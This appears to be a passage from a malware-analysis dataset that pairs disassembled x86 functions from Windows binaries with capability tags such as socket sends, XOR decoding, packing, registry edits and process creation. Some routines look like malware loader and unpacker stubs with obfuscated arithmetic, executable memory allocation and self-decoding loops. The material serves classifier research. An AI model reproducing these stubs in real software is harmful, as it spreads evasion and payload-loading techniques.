joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1002c040
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov eax, dword [ecx + 0x10]
mov edx, dword [ecx]
mov eax, dword [eax]
cmp edx, 3
ja case.default.0x1002c052
jmp dword [edx*4 + 0x1002c0a8]
mov dword [ebp + 8], ecx
pop ebp
jmp fcn.1002bb70
mov dword [ebp + 8], ecx
pop ebp
jmp fcn.1002b920
mov dword [ebp + 8], ecx
pop ebp
jmp fcn.1002c250
push str.TFTP_finished
push 0x10054958
push eax
call fcn.10023640
add esp, 0xc
xor eax, eax
pop ebp
ret
push str.Internal_state_machine_error
push 0x100552a0
push eax
call fcn.10023590
add esp, 0xc
mov eax, 0x47
pop ebp
ret
Function at 0x10035540
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 0x10]
call fcn.10035570
add esp, 4
mov dword [ebp + 0x10], eax
pop ebp
jmp fcn.10046883

Function at 0x1004a670
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.1004a4e6

Function at 0x1004d9cf
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.1004d522

Function at 0x1001da16
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
jmp 0x1001da21
mov esi, dword [ebp + 8]
jmp 0x1001da2a
mov edi, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x10]
jmp 0x1001da36
cmp ecx, 0
jbe 0x1001da56
jmp 0x1001da41
mov edx, dword [ebp + 0x14]
jmp 0x1001da4a
lodsb al, byte [esi]
xor al, dl
stosb byte es:[edi], al
loop 0x1001da4a
jmp 0x1001da56
jmp 0x1001da5c
pop edi
pop esi
leave
ret 0x10
Function at 0x424d40
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
pushal
call 0x424d4f
pop dword [ebp - 0x28]
mov eax, 0x8cf3d6bd
add eax, 0x734e7692
sub dword [ebp - 0x28], eax
mov dword [ebp - 0x38], 0x5074febb
add dword [ebp - 0x38], 0xfddd4690
mov dword [ebp - 0x34], 0x1f7ebb5d
add dword [ebp - 0x34], 0x12b490e8
mov dword [ebp - 0x30], 0xa3ff590d
sub dword [ebp - 0x30], 0x57b314df
mov dword [ebp - 0x2c], 0x7fd67542
sub dword [ebp - 0x2c], 0x7fd67542
lea eax, [ebp - 0x38]
push eax
mov eax, 0xa7a70bb1
sub eax, 0xa7638ab1
add eax, dword [ebp - 0x28]
call dword [eax]
mov dword [ebp - 0x38], 0x810ee4a0
sub dword [ebp - 0x38], 0xc9c7b4a
mov dword [ebp - 0x34], 0x17da44ce
sub dword [ebp - 0x34], 0xd66de359
mov dword [ebp - 0x30], 0xa60f8ef0
sub dword [ebp - 0x30], 0x42a02284
mov dword [ebp - 0x2c], 0x25f9a09b
sub dword [ebp - 0x2c], 0x25f9a09b
lea ebx, [ebp - 0x38]
push ebx
push eax
mov eax, 0xa03db39b
sub eax, 0x9ffa323f
add eax, dword [ebp - 0x28]
call dword [eax]
push 0x40
push 0x1000
push 0x3b153
push 0
call eax
mov ecx, 0xa1da5b5
sub ecx, 0xa1d627d
mov edx, eax
mov ebx, 0x464eb1b6
add ebx, 0xb9f5e04a
add ebx, dword [ebp - 0x28]
mov edi, 0x68c7eeba
sub edi, 0xb8129de4
mov esi, dword [ebx]
xor dword [ebp - 0x14], edi
xor esi, edi
add dword [ebp - 0x20], edi
mov dword [edx], esi
sub dword [ebp - 0x10], 0x16fc56ea
add edx, 4
add ebx, 4
loop 0x424e71
add eax, 0xfed0e180
sub eax, 0xfecfe1cd
xor ebx, ebx
add ebx, eax
add eax, 0xe63069ae
sub eax, 0xe63069a9
mov ecx, 0x34bef82d
sub ecx, 0x347ef82d
add ecx, dword [ebp - 0x28]
call ebx
leave
ret

Function at 0x4254e0
Capabilities:
Delete registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call main
add esp, 8
test eax, eax
jne 0x425503
mov eax, 0x80004005
mov esp, ebp
pop ebp
ret 0x18
push esi
push dword [ebp + 0x14]
call main
add esp, 4
lea ecx, [ebp - 0x14]
mov esi, eax
call main
push dword [ebp + 0x18]
lea ecx, [ebp - 0x14]
push esi
call main
test al, al
jne 0x42553f
lea ecx, [ebp - 0x14]
mov esi, 1
call main
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret 0x18
lea eax, [ebp - 4]
push eax
push 0xf003f
push 0
push dword [ebp + 0x18]
push esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x42556d
push dword [ebp + 0x1c]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x14]
xor esi, esi
call main
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret 0x18
Function at 0x425580
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x442f98]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call main
add esp, 8
test eax, eax
jne 0x4255af
mov eax, 0x80004005
jmp 0x4256ac
push dword [ebp + 0x14]
call main
add esp, 4
lea ecx, [ebp - 0x18]
mov ebx, eax
call main
mov edi, dword [ebp + 0x18]
lea ecx, [ebp - 0x18]
push edi
push ebx
call main
test al, al
jne 0x4255df
mov esi, 1
jmp 0x4256a2
test edi, edi
jne 0x4255e7
xor eax, eax
jmp 0x425623
mov ecx, edi
lea edx, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4255f0
sub ecx, edx
sar ecx, 1
lea esi, [ecx + 1]
cmp esi, 0x3fffffff
jle 0x42560e
xor eax, eax
jmp 0x425623
add esi, esi
mov eax, esi
call fcn.00435230
mov eax, esp
push 3
push esi
push edi
push eax
call main
push 0
lea ecx, [ebp - 8]
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
push eax
push ebx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x4256a0
mov edi, dword [ebp + 0x1c]
test edi, edi
je 0x42566a
mov ecx, edi
lea edx, [ecx + 2]
nop
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x425650
sub ecx, edx
sar ecx, 1
lea esi, [ecx + 1]
cmp esi, 0x3fffffff
jle 0x42566e
xor eax, eax
jmp 0x425683
add esi, esi
mov eax, esi
call fcn.00435230
mov eax, esp
push 3
push esi
push edi
push eax
call main
push 4
lea ecx, [ebp + 0x20]
push ecx
push 4
push 0
push eax
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor esi, esi
lea ecx, [ebp - 0x18]
call main
mov eax, esi
lea esp, [ebp - 0x24]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00434ca0
mov esp, ebp
pop ebp
ret 0x1c
Function at 0x430004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
mov eax, section..text
nop
nop
push 4
nop
nop
nop
pop edi
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
je 0x430072
nop
nop
nop
nop
nop
mov ebx, 0x408ecc
nop
nop
nop
mov ecx, ebx
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x26de1d25
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
loop 0x430060
nop
nop
nop
nop
mov eax, section..data
nop
cmp eax, 0
nop
nop
nop
nop
nop
nop
je 0x4300d2
nop
mov ebx, 0x42e1d0
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x40de065b
nop
nop
nop
nop
xor dword [eax], esi
nop
add eax, edi
nop
nop
nop
nop
nop
nop
loop 0x4300c0
nop
nop
popal
nop
nop
nop
nop
jmp 0x401219

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x4073ea
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 4], 0
push 0x80000301
push 0
push 0xff
push 1
mov ebx, 0x184
call fcn.0040a950
add esp, 0x10
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x40742f
push ebx
call fcn.00409508
add esp, 4
pop eax
mov dword [ebp - 4], eax
mov dword [ebp - 8], esp
push dword [ebp - 4]
push 0xff
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
nop
nop
nop
nop
cmp dword [ebp - 8], esp
je 0x40745a
push 6
call fcn.0040950e
add esp, 4
mov eax, dword [ebp - 4]
test eax, eax
je 0x407476
push eax
mov ebx, eax
call fcn.00401000
inc eax
push eax
call fcn.00409502
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
jmp 0x40747b
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x40748c
push ebx
call fcn.00409508
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret

Function at 0x407a58
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 4], esp
mov ebx, dword [ebp + 8]
push dword [ebx]
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
nop
nop
nop
nop
cmp dword [ebp - 4], esp
je 0x407a85
push 6
call fcn.0040950e
add esp, 4
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 1
mov eax, 0
sete al
jmp 0x407a99
mov esp, ebp
pop ebp
ret 4

Function at 0x407ea0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
cmp dword [ebp + 0x14], 1
jne 0x407ebf
mov dword [ebp + 0x14], 0
jmp 0x407edc
cmp dword [ebp + 0x14], 2
jne 0x407ed5
mov dword [ebp + 0x14], 7
jmp 0x407edc
mov dword [ebp + 0x14], 1
mov dword [ebp - 4], esp
push dword [ebp + 0x14]
push 0x4222a2
mov ebx, dword [ebp + 0xc]
push dword [ebx]
mov ebx, dword [ebp + 8]
push dword [ebx]
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
nop
nop
nop
nop
cmp dword [ebp - 4], esp
je 0x407f17
push 6
call fcn.0040950e
add esp, 4
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 2
jne 0x407f33
mov eax, 0
jmp 0x407f3d
mov eax, 1
jmp 0x407f3d
mov esp, ebp
pop ebp
ret 0x14

Function at 0x409a50
Capabilities:
Get file size
Read file on windows

Disassembly:
mov eax, dword [esp + 8]
push edi
push 0
push 0x20
push 3
push 0
push 3
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
xor eax, eax
cmp edi, 0xffffffff
je 0x409ab9
push ebx
lea ecx, [esp + 0x10]
push esi
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, eax
lea edx, [ebx + 8]
push edx
call fcn.00409730
add esp, 4
mov esi, eax
lea eax, [esp + 0x14]
push 0
push eax
lea ecx, [esi + 8]
push ebx
push ecx
push edi
mov dword [esi], 1
mov dword [esi + 4], ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop esi
pop ebx
pop edi
ret
Function at 0x40a2d0
Capabilities:
Write file on windows

Disassembly:
sub esp, 8
mov eax, dword [esp + 0x10]
push edi
push 0
push 0x20
push 2
push 0
push 0
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
xor eax, eax
cmp edi, 0xffffffff
je 0x40a362
mov eax, dword [esp + 0x10]
push ebx
mov ebx, 1
push ebp
cmp eax, ebx
push esi
mov dword [esp + 0x10], ebx
jle 0x40a354
mov ebp, dword [sym.imp.KERNEL32.dll_WriteFile]
lea esi, [esp + 0x2c]
mov eax, dword [esi]
lea edx, [esp + 0x14]
push 0
push edx
lea ecx, [eax + 8]
mov eax, dword [eax + 4]
push eax
push ecx
push edi
call ebp
test eax, eax
je 0x40a34c
mov eax, dword [esp + 0x1c]
inc ebx
add esi, 0xc
cmp ebx, eax
jl 0x40a315
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x10]
pop esi
pop ebp
pop ebx
pop edi
add esp, 8
ret
mov dword [esp + 0x10], 0
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x10]
pop esi
pop ebp
pop ebx
pop edi
add esp, 8
ret

Function at 0x40a370
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x54
push esi
lea eax, [esp + 0x14]
push edi
push eax
mov dword [esp + 0x1c], 0x44
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov eax, dword [esp + 0x84]
xor edi, edi
cmp eax, edi
mov dword [esp + 0x54], edi
mov dword [esp + 0x58], edi
mov dword [esp + 0x44], 1
je case.0x40a3b1.2
mov ecx, dword [esp + 0x7c]
lea eax, [ecx - 1]
cmp eax, 5
ja case.0x40a3b1.2
jmp dword [eax*4 + 0x40a43c]
mov word [esp + 0x48], di
jmp 0x40a3ea
mov word [esp + 0x48], 2
jmp 0x40a3ea
mov word [esp + 0x48], 3
jmp 0x40a3ea
mov word [esp + 0x48], 4
jmp 0x40a3ea
mov word [esp + 0x48], 7
jmp 0x40a3ea
mov word [esp + 0x48], 5
lea edx, [esp + 8]
mov ecx, dword [esp + 0x64]
lea eax, [esp + 0x18]
push edx
push eax
push edi
push edi
push edi
push 1
push edi
push edi
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov esi, eax
cmp esi, edi
je 0x40a434
cmp dword [esp + 0x70], edi
je 0x40a420
mov edx, dword [esp + 8]
push 0xffffffffffffffff
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [esp + 8]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
call edi
mov ecx, dword [esp + 0xc]
push ecx
call edi
mov eax, esi
pop edi
pop esi
add esp, 0x54
ret

Function at 0x40ae90
Capabilities:
Encode data using xor

Disassembly:
mov edx, dword [esp + 4]
mov eax, dword [esp + 8]
cmp edx, 1
jle 0x40aeae
push esi
lea ecx, [esp + 0x18]
dec edx
mov esi, dword [ecx]
add ecx, 0xc
xor eax, esi
dec edx
jne 0x40aea3
pop esi
ret
Function at 0x41c9f7
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x41ca25
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x41ca43
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.0041c95d
jmp 0x41ca43
mov eax, dword [esi + 0x14]
test eax, eax
je 0x41ca43
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.0041c95d
test edi, edi
mov eax, edi
jne 0x41ca2d
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x416690
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
pop ebp
jmp fcn.00411dc0
Function at 0x4294b0
Capabilities:
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
pop ebp
jmp fcn.00426880
Function at 0x44d5b0
Capabilities:
Encrypt data using chaskey
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
pop ebp
jmp fcn.00441a20
Function at 0x45a0e0
Capabilities:
Access peb ldr_data
Get kernel32 base address
Get process heap flags

Disassembly:
push 0xffffffffffffffff
push 0x52d668
mov eax, dword fs:[0]
push eax
sub esp, 0xc
push esi
push edi
mov eax, dword [0x586420]
xor eax, esp
push eax
lea eax, [esp + 0x18]
mov dword fs:[0], eax
mov eax, dword [esp + 0x34]
mov ecx, dword [esp + 0x30]
mov esi, dword [esp + 0x2c]
push eax
push ecx
push esi
lea ecx, [esp + 0x18]
call fcn.00459b80
mov edi, dword [esp + 0x38]
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
sub esp, 0x18
mov eax, esp
mov dword [eax], edi
mov edi, dword [esp + 0x54]
mov dword [eax + 4], edi
mov edi, dword [esp + 0x58]
mov dword [eax + 8], edi
mov edi, dword [esp + 0x5c]
mov dword [eax + 0xc], edi
mov edi, dword [esp + 0x60]
mov dword [eax + 0x10], edi
mov edi, dword [esp + 0x64]
mov dword [eax + 0x14], edi
mov eax, dword [esp + 0x48]
push eax
push ecx
lea edx, [ecx + edx*4]
push edx
push ecx
push esi
mov esi, dword [esp + 0x54]
push esi
mov dword [esp + 0x50], 0
call fcn.00459e70
mov eax, dword [esp + 0x44]
add esp, 0x30
mov dword [esp + 0x20], 0xffffffff
test eax, eax
je 0x45a193
mov ecx, dword [esp + 0x10]
push eax
push ecx
lea ecx, [esp + 0x14]
call fcn.00459800
mov eax, esi
mov ecx, dword [esp + 0x18]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
add esp, 0x18
ret
Function at 0x46e490
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov al, byte [ebp + 8]
movsx ecx, al
add ecx, 0xffffff9f
cmp ecx, 0x19
ja case.default.0x46e4a1
jmp dword [ecx*4 + 0x46e510]
mov al, 0x41
pop ebp
ret
mov al, 0x42
pop ebp
ret
mov al, 0x43
pop ebp
ret
mov al, 0x44
pop ebp
ret
mov al, 0x45
pop ebp
ret
mov al, 0x46
pop ebp
ret
mov al, 0x47
pop ebp
ret
mov al, 0x48
pop ebp
ret
mov al, 0x49
pop ebp
ret
mov al, 0x4a
pop ebp
ret
mov al, 0x4b
pop ebp
ret
mov al, 0x4c
pop ebp
ret
mov al, 0x4d
pop ebp
ret
mov al, 0x4e
pop ebp
ret
mov al, 0x4f
pop ebp
ret
mov al, 0x50
pop ebp
ret
mov al, 0x51
pop ebp
ret
mov al, 0x52
pop ebp
ret
mov al, 0x53
pop ebp
ret
mov al, 0x54
pop ebp
ret
mov al, 0x55
pop ebp
ret
mov al, 0x56
pop ebp
ret
mov al, 0x57
pop ebp
ret
mov al, 0x58
pop ebp
ret
mov al, 0x59
pop ebp
ret
mov al, 0x5a
pop ebp
ret

Function at 0x46e580
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 0xc]
push edi
mov edi, dword [ebp + 8]
mov dl, byte [edi]
test dl, dl
je 0x46e631
mov cl, byte [esi]
test cl, cl
je 0x46e631
movsx eax, dl
add eax, 0xffffff9f
cmp eax, 0x19
ja case.default.0x46e5aa
jmp dword [eax*4 + 0x46e658]
mov dl, 0x41
jmp case.default.0x46e5aa
mov dl, 0x42
jmp case.default.0x46e5aa
mov dl, 0x43
jmp case.default.0x46e5aa
mov dl, 0x44
jmp case.default.0x46e5aa
mov dl, 0x45
jmp case.default.0x46e5aa
mov dl, 0x46
jmp case.default.0x46e5aa
mov dl, 0x47
jmp case.default.0x46e5aa
mov dl, 0x48
jmp case.default.0x46e5aa
mov dl, 0x49
jmp case.default.0x46e5aa
mov dl, 0x4a
jmp case.default.0x46e5aa
mov dl, 0x4b
jmp case.default.0x46e5aa
mov dl, 0x4c
jmp case.default.0x46e5aa
mov dl, 0x4d
jmp case.default.0x46e5aa
mov dl, 0x4e
jmp case.default.0x46e5aa
mov dl, 0x4f
jmp case.default.0x46e5aa
mov dl, 0x50
jmp case.default.0x46e5aa
mov dl, 0x51
jmp case.default.0x46e5aa
mov dl, 0x52
jmp case.default.0x46e5aa
mov dl, 0x53
jmp case.default.0x46e5aa
mov dl, 0x54
jmp case.default.0x46e5aa
mov dl, 0x55
jmp case.default.0x46e5aa
mov dl, 0x56
jmp case.default.0x46e5aa
mov dl, 0x57
jmp case.default.0x46e5aa
mov dl, 0x58
jmp case.default.0x46e5aa
mov dl, 0x59
jmp case.default.0x46e5aa
mov dl, 0x5a
push ecx
call fcn.0046e490
add esp, 4
cmp dl, al
jne 0x46e631
mov dl, byte [edi + 1]
inc edi
inc esi
test dl, dl
jne 0x46e595
movzx eax, byte [edi]
push eax
call fcn.0046e490
mov dl, al
movzx eax, byte [esi]
push eax
call fcn.0046e490
add esp, 8
xor ecx, ecx
cmp dl, al
sete cl
pop edi
pop esi
mov eax, ecx
pop ebp
ret
Function at 0x46e6c0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
mov dl, byte [ebx]
push esi
mov esi, dword [ebp + 0xc]
push edi
mov edi, dword [ebp + 0x10]
test dl, dl
je 0x46e785
lea esp, [esp]
mov cl, byte [esi]
test cl, cl
je 0x46e785
test edi, edi
je 0x46e789
movsx eax, dl
add eax, 0xffffff9f
cmp eax, 0x19
ja case.default.0x46e6fd
jmp dword [eax*4 + 0x46e7b8]
mov dl, 0x41
jmp case.default.0x46e6fd
mov dl, 0x42
jmp case.default.0x46e6fd
mov dl, 0x43
jmp case.default.0x46e6fd
mov dl, 0x44
jmp case.default.0x46e6fd
mov dl, 0x45
jmp case.default.0x46e6fd
mov dl, 0x46
jmp case.default.0x46e6fd
mov dl, 0x47
jmp case.default.0x46e6fd
mov dl, 0x48
jmp case.default.0x46e6fd
mov dl, 0x49
jmp case.default.0x46e6fd
mov dl, 0x4a
jmp case.default.0x46e6fd
mov dl, 0x4b
jmp case.default.0x46e6fd
mov dl, 0x4c
jmp case.default.0x46e6fd
mov dl, 0x4d
jmp case.default.0x46e6fd
mov dl, 0x4e
jmp case.default.0x46e6fd
mov dl, 0x4f
jmp case.default.0x46e6fd
mov dl, 0x50
jmp case.default.0x46e6fd
mov dl, 0x51
jmp case.default.0x46e6fd
mov dl, 0x52
jmp case.default.0x46e6fd
mov dl, 0x53
jmp case.default.0x46e6fd
mov dl, 0x54
jmp case.default.0x46e6fd
mov dl, 0x55
jmp case.default.0x46e6fd
mov dl, 0x56
jmp case.default.0x46e6fd
mov dl, 0x57
jmp case.default.0x46e6fd
mov dl, 0x58
jmp case.default.0x46e6fd
mov dl, 0x59
jmp case.default.0x46e6fd
mov dl, 0x5a
push ecx
call fcn.0046e490
add esp, 4
cmp dl, al
jne 0x46e785
mov dl, byte [ebx + 1]
inc ebx
dec edi
inc esi
test dl, dl
jne 0x46e6e0
test edi, edi
jne 0x46e793
pop edi
pop esi
mov eax, 1
pop ebx
pop ebp
ret
movzx eax, byte [ebx]
push eax
call fcn.0046e490
mov dl, al
movzx eax, byte [esi]
push eax
call fcn.0046e490
add esp, 8
xor ecx, ecx
cmp dl, al
sete cl
pop edi
pop esi
pop ebx
mov eax, ecx
pop ebp
ret
Function at 0x46e820
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push edi
mov edi, dword [ebp + 0x10]
cmp edi, 1
jb 0x46e8cc
mov edx, dword [ebp + 0xc]
push esi
mov esi, dword [ebp + 8]
sub esi, edx
lea esp, [esp]
mov al, byte [edx]
movsx ecx, al
add ecx, 0xffffff9f
cmp ecx, 0x19
ja case.default.0x46e84d
jmp dword [ecx*4 + 0x46e8d0]
mov al, 0x41
jmp case.default.0x46e84d
mov al, 0x42
jmp case.default.0x46e84d
mov al, 0x43
jmp case.default.0x46e84d
mov al, 0x44
jmp case.default.0x46e84d
mov al, 0x45
jmp case.default.0x46e84d
mov al, 0x46
jmp case.default.0x46e84d
mov al, 0x47
jmp case.default.0x46e84d
mov al, 0x48
jmp case.default.0x46e84d
mov al, 0x49
jmp case.default.0x46e84d
mov al, 0x4a
jmp case.default.0x46e84d
mov al, 0x4b
jmp case.default.0x46e84d
mov al, 0x4c
jmp case.default.0x46e84d
mov al, 0x4d
jmp case.default.0x46e84d
mov al, 0x4e
jmp case.default.0x46e84d
mov al, 0x4f
jmp case.default.0x46e84d
mov al, 0x50
jmp case.default.0x46e84d
mov al, 0x51
jmp case.default.0x46e84d
mov al, 0x52
jmp case.default.0x46e84d
mov al, 0x53
jmp case.default.0x46e84d
mov al, 0x54
jmp case.default.0x46e84d
mov al, 0x55
jmp case.default.0x46e84d
mov al, 0x56
jmp case.default.0x46e84d
mov al, 0x57
jmp case.default.0x46e84d
mov al, 0x58
jmp case.default.0x46e84d
mov al, 0x59
jmp case.default.0x46e84d
mov al, 0x5a
mov byte [esi + edx], al
mov al, byte [edx]
inc edx
test al, al
je 0x46e8cb
dec edi
jne 0x46e840
pop esi
pop edi
pop ebp
ret

Function at 0x481bb0
Capabilities:
Check http status code

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, eax
mov ebx, dword [edi]
mov eax, 0x51eb851f
imul ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
xor esi, esi
cmp eax, 2
je 0x481be8
push str.Couldnt_set_desired_mode
push ebx
call fcn.0046b640
add esp, 8
pop edi
lea eax, [esi + 0x11]
pop esi
pop ebx
pop ebp
ret
cmp ecx, 0xc8
je 0x481bff
push ecx
push str.Got_a__03d_response_code_instead_of_the_assumed_200_n
push ebx
call fcn.0046b570
add esp, 0xc
mov eax, dword [ebp + 8]
cmp eax, 0x13
jne 0x481c17
push edi
call fcn.00481b30
add esp, 4
pop edi
mov esi, eax
pop esi
pop ebx
pop ebp
ret
cmp eax, 0x14
jne 0x481c2c
push edi
call fcn.0047e9e0
add esp, 4
pop edi
mov esi, eax
pop esi
pop ebx
pop ebp
ret
cmp eax, 0x15
jne 0x481c44
push 0xd
push 1
call fcn.00480fa0
add esp, 8
pop edi
mov esi, eax
pop esi
pop ebx
pop ebp
ret
cmp eax, 0x16
jne 0x481c57
push 0xe
push 1
call fcn.00480fa0
add esp, 8
mov esi, eax
pop edi
mov eax, esi
pop esi
pop ebx
pop ebp
ret